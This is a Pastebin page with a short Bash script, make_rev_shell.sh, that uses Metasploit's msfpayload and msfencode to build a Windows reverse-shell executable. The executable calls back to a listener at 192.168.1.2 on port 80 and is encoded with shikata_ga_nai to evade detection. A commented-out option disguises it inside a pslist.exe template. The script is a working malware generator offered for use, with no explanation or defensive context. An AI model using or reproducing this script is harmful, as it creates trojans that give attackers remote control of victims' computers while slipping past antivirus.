Advertisement
opexxx

make_rev_shell.sh

Sep 29th, 2016
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.38 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. PAYLOAD_SHORT=sh_rev
  4. PAYLOAD=windows/shell/reverse_tcp
  5. LHOST=192.168.1.2
  6. LPORT=80
  7. ENCODER_SHORT=shikata
  8. ENCODER=x86/shikata_ga_nai
  9. #TEMPLATE_SHORT=pslist
  10. #TEMPLATE=/pentest/windows-binaries/pstools/pslist.exe
  11. TYPE=exe
  12.  
  13. msfpayload $PAYLOAD LHOST=$LHOST,LPORT=$LPORT R | msfencode -c 1 -e $ENCODER -o ${PAYLOAD_SHORT}_${ENCODER_SHORT}_${LHOST}_${LPORT}.${TYPE} -t $TYPE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement